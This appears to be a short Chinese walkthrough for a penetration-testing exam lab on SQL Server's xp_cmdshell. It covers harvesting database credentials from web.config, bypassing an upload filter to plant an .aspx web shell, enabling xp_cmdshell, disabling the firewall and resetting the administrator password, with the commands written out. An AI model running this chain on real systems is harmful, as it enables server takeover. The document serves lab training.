**
关于xp_cmdshell
**
1、扫描端口,获取登陆页面等的端口。
2、扫描登录端口目录获取web.config文件,读取文件,获取到数据库连接账号密码,登录数据库注意SQL server数据库端口号地址输入形式:123.171.,14433(端口号与地址使用逗号连接)。
3、获取登陆账号密码,登录得到key。
4、上传文件,文件.aspx,后面加.jpg绕过上传限制,jpg后缀名利用文件名超长度截断的方式达到目的。(上传木马类型与网页一致)。
5、获取上传路径,点文件抓包修改成未知文件名,放包浏览器报错显示上传路径。未能找到文件“D:\web\upfile\affix\638076603346802500-zn1211112332.aspx”。得到上传路径\upfile\affix
6、蚁剑连接。http://123.171.:15689/upfile/affix/638076603346802500-zn121112.aspx得到key
7、蚁剑内找到数据库sa高权限配置文件。
8、菜刀连接该一句话木马,打开数据库管理,配置数据库选择SQL server:
ADO
Driver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd=cisp-pte@sa,这里将数据库密码写入到前面。
执行:EXEC sp_configure ‘show advanced options’,1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’,1;RECONFIGURE开启数据库xp_cmdshell
9、拖动3389.bat到web根目录。
10、数据库切换sa连接,执行xp_cmdshell命令:
(1)执行3389.bat:xp_cmdshell’D:/web/3389.bat’
(2)关防火墙:xp_cmdshell’netsh firewall set opmode disable’
(3)更改远程桌面密码:xp_cmdshell’net user administrator Admin@123!’
11、远程桌面mastsc→123.171.:15389,登录得到key。